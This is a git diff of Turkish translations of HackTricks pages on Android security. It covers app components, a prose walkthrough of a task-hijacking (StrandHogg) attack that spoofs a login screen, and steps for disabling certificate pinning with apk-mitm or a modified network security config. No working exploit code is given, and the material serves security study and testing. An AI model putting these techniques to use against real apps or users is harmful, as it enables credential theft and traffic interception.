Ancak, bir uygulamadan diğer bir uygulamaya bir aktiviteye erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntılarına yol açabilir.
Bir etkinliğin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve etkinliği kullanıcıyla etkileşime hazırlar.
Bir aktivitenin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve aktiviteyi kullanıcıyla etkileşime hazırlar.
### Uygulama Alt Sınıfı
Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf haline gelir. Bu alt sınıfta **`attachBaseContext`** yöntemi uygulanmışsa, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar.
Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf haline gelir. Bu alt sınıfta **`attachBaseContext`** yöntemi uygulandıysa, bu yöntem **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar.
```java
public class MyApp extends Application {
@Override
@ -286,31 +296,31 @@ super.onCreate();
```
### Hizmetler
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapmaları durumunda bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir.
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapsalar bile devam edebilir ve uzun süre çalışan işlemler için hizmetler hayati öneme sahiptir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve **Intent'ler** onları başlatmanın temel yoludur. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer.
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verilerini almadır ve bu işlemler kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirilebilir. Ayrıca, hizmetler diğer işlemlerin aynı cihazdaki erişimine açılabilir. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verileri getirme gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Yayın Alıcıları
**Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve birden fazla uygulamanın sistemden gelen aynı iletilere yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir.
**Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve sistemden gelen aynı iletilere birden fazla uygulamanın yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir.
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, alıcının hangi yayınların alınacağını belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar.
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, alıcının hangi yayınları tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın düşük pil uyarısına yanıt vererek davranışını ayarlamasına olanak tanır.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar önceliklerine göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirerek bir yayını ele geçirebilmesi potansiyel güvenlik riski oluşturabilir.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, alıcılar önceliklerine göre yayını alır. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir.
Bir alıcının işlevselliğini anlamak için, sınıf içindeki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir ve özellikle **Sıralı Yayınlar** içinde, alınan Intent'i değiştirebilir veya atabilir, bu nedenle alıcılar tarafından veri doğrulamasının yapılması gereklidir.
Bir alıcının işlevselliğini anlamak için sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir ve özellikle **Sıralı Yayınlar** içinde, alıcıların Intent'i değiştirebileceği veya bırakabileceği için veri doğrulamasının alıcılar tarafından yapılmasının önemini vurgular.
### İçerik Sağlayıcı
**İçerik Sağlayıcıları**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik sağlayıcıları, uygulamaların verilere veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanarak uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla verilebilir.
**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik Sağlayıcılar, verilere veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla sağlanabilir ve ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanır.
SQL enjeksiyonu gibi güvenlik açıklarını önlemek için giriş doğrulaması önemlidir. İçerik Sağlayıcıları, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
Güvenlik açıklarını önlemek için giriş doğrulaması son derece önemlidir, örneğin SQL enjeksiyonu. İçerik Sağlayıcılar, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
**FileProvider**, güvenli bir şekilde dosyaları paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır ve `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
**FileProvider**, güvenli bir şekilde dosyaları paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır ve `android:exported` ve `android:resource` gibi klasör yapılandırmalarına işaret eden özellikleri kullanır. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
FileProvider için örnek manifest bildirimi:
```xml
@ -328,24 +338,24 @@ Ve `filepaths.xml` dosyasında paylaşılan klasörleri belirtmenin bir örneği
<files-path path="images/" name="myimages" />
</paths>
```
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için şu kaynaklara bakabilirsiniz:
- [Android Geliştiriciler: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Geliştiriciler: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews, Android uygulamalarının içindeki **mini web tarayıcıları** gibidir, içeriği web'den veya yerel dosyalardan çekerler. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
WebViews, Android uygulamaları içindeki **mini web tarayıcıları** gibidir, içeriği web'den veya yerel dosyalardan alırlar. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
Android, iki ana WebView türü sunar:
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler.
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer.
Bir nokta şudur ki, WebView tarayıcıları cihazın ana tarayıcısıyla **çerezleri paylaşmaz**.
Bir önemli nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerezleri paylaşmamasıdır**.
İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir.
Java nesnelerinin JavaScript ile etkileşimini sağlayan JavaScript "Bridge", yöntemlerin güvenliği için Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesini gerektirir.
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve güvenlik için yöntemlerin Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesini gerektirir.
İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk olabilir.
@ -356,15 +366,15 @@ Dosya erişimini kontrol etmek için:
### **Uygulamaların Dijital İmzalanması**
- Android uygulamaları için **dijital imzalama**, kurulumdan önce uygulamaların **gerçekten kimin tarafından yazıldığını** garanti altına alır. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur.
- Android uygulamaları için **dijital imzalama**, uygulamaların kurulmadan önce **gerçekten kimin tarafından yazıldığını** sağlamak için gereklidir. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur.
### **Gelişmiş Güvenlik için Uygulama Doğrulaması**
- **Android 4.2'den** itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
- **Android 4.2'den** itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
### **Mobil Cihaz Yönetimi (MDM)**
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla bunu gerçekleştirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvenliğinin sağlanması için bir Android uygulamasının kurulmasını gerektirir. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gereklidir. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını gerektirir. Temel fonksiyonlar arasında **şifre politikalarını zorunlu kılma**, **depolama şifrelemesini zorunlu kılma** ve **uzaktan veri silmeye izin verme** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -375,16 +385,22 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -7,55 +7,69 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
## Görev, Geri Yığın ve Ön Plandaki Etkinlikler
**Try Hard Güvenlik Grubu**
Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön plandaki etkinlik** olarak en üstte görüntüler. Her an sadece bu etkinlik ekranda görünür, bu da onu **ön plandaki görevin** bir parçası yapar.
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Görev, Geri Yığıt ve Ön Planda Olan Etkinlikler
Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığıt** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön planda etkinlik** olarak en üstte görüntüler. Her an ekranda sadece bu etkinlik görünür, bu da onu **ön planda görev**in bir parçası yapar.
İşte etkinlik geçişlerinin hızlı bir açıklaması:
* **Etkinlik 1** yalnızca ön planda başlar.
* **Etkinlik 2**'yi başlatmak, **Etkinlik 1**'i geri yığına iter ve **Etkinlik 2**'yi ön plana getirir.
* **Etkinlik 3**'ü başlatmak, **Etkinlik 1** ve **Etkinlik 2**'yi yığında daha geriye taşır ve şimdi **Etkinlik 3** önde.
* **Etkinlik 1** başlangıçta yalnızca ön planda olan etkinliktir.
* **Etkinlik 2**'yi başlatmak, **Etkinlik 1**'i geri yığıta iter ve **Etkinlik 2**'yi ön plana getirir.
* **Etkinlik 3**'ü başlatmak, **Etkinlik 1** ve **Etkinlik 2**'yi yığıtta daha geriye taşır ve şimdi **Etkinlik 3** önde olur.
* **Etkinlik 3**'ü kapatmak, **Etkinlik 2**'yi tekrar ön plana getirir, Android'in akıcı görev gezinme mekanizmasını sergiler.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
## Görev bağlı saldırı
## Görev uyumluluk saldırısı
### Görev Bağlılık ve Başlatma Modlarının Genel Bakışı
### Görev Uyumluluğu ve Başlatma Modlarının Genel Bakışı
Android uygulamalarında, **görev bağlılık** bir etkinliğin tercih ettiği görevi belirtir ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir kanıt-of-konsept (PoC) uygulaması oluşturmada önemlidir.
Android uygulamalarında **görev uyumluluğu**, bir etkinliğin tercih edilen görevini belirler ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir kanıt-of-konsept (PoC) uygulaması oluşturmada önemlidir.
### Başlatma Modları
`launchMode` özelliği etkinlik örneklerinin görevler içinde nasıl ele alınacağını yönlendirir. **singleTask** modu bu saldırı için kilit rol oynar ve mevcut etkinlik örnekleri ve görev bağlılık eşleşmelerine dayanan üç senaryoyu belirler. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır, Android sistemini hedeflenen uygulama yerine saldırganın uygulamasını başlatmaya yanıltır.
`launchMode` özelliği etkinlik örneklerinin görevler içinde nasıl ele alınacağını yönlendirir. **singleTask** modu bu saldırı için kilit rol oynar ve mevcut etkinlik örneklerine ve görev uyumluluğu eşleşmelerine dayanan üç senaryoyu belirler. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev uyumluluğunu taklit etme yeteneğine dayanır ve Android sistemini hedeflenen uygulama yerine saldırganın uygulamasını başlatmaya yanıltır.
### Detaylı Saldırı Adımları
1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar.
2. **İlk Aktivasyon**: Kurban önce kötü amaçlı uygulamayı açar ve cihazı saldırıya hazırlar.
3. **Hedef Uygulama Başlatma Denemesi**: Kurban hedef uygulamayı açmaya çalışır.
4. **Kaçırma Yürütme**: Eşleşen görev bağlılığı nedeniyle, hedef uygulama yerine kötü amaçlı uygulama başlatılır.
3. **Hedef Uygulama Başlatma Denemesi**: Kurban, hedef uygulamayı açmaya çalışır.
4. **Kaçırma Yürütme**: Eşleşen görev uyumluluğu nedeniyle, hedef uygulama yerine kötü amaçlı uygulama başlatılır.
5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamayı andıran sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Önleme Önlemleri
Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve `singleInstance` başlatma modunu seçebilir, böylece uygulamalarını diğerlerinden izole edebilirler. `onBackPressed()` işlevini özelleştirme, görev kaçırma saldırılarına karşı ek koruma sağlar.
Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve uygulamalarının diğerlerinden izole olmasını sağlamak için `singleInstance` başlatma modunu seçebilirler. `onBackPressed()` işlevini özelleştirme, görev kaçırma saldırılarına karşı ek koruma sağlar.
## **Referanslar**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
@ -63,9 +77,9 @@ Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -1,22 +1,30 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için aslında uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemeliyiz.
# Otomatik
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) uygulamaya gerekli değişiklikleri yaparak istekleri yakalamaya başlayacak ve ayrıca sertifika pinning'i devre dışı bırakacaktır (varsa) **otomatik olarak**.
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) uygulamaya gerekli değişiklikleri otomatik olarak yapacak ve isteği yakalamaya başlayacak ve ayrıca sertifika pimlemeyi devre dışı bırakacaktır (varsa).
# Manuel
@ -24,7 +32,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded
![](../../.gitbook/assets/img9.png)
Daha sonra **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine gidip aşağı kaydırıyoruz ve aşağıdaki satırı ekleyeceğiz (zaten yoksa):
Daha sonra **Manifest.xml** dosyasına gideriz ve `<\application android>` etiketine gidip aşağıdaki satırı ekleyeceğiz (zaten yoksa):
`android:networkSecurityConfig="@xml/network_security_config`
@ -36,7 +44,7 @@ Ekledikten sonra:
![](../../.gitbook/assets/img11.png)
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun / değiştirin:
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun/düzenleyin:
```markup
<network-security-config>
<base-config>
@ -49,8 +57,24 @@ Ekledikten sonra:
</base-config>
</network-security-config>
```
Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve aşağıdaki komutla apk'yi yeniden oluşturun: `apktool b *dizin-adı/* -o *çıktı-dosyası.apk*`
Son olarak, yalnızca **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu sayfanın Smali - Decompiling/[Modifying]/Compiling bölümünü okuyun](smali-changes.md#sing-the-new-apk).
![](../../.gitbook/assets/img12.png)
<details>
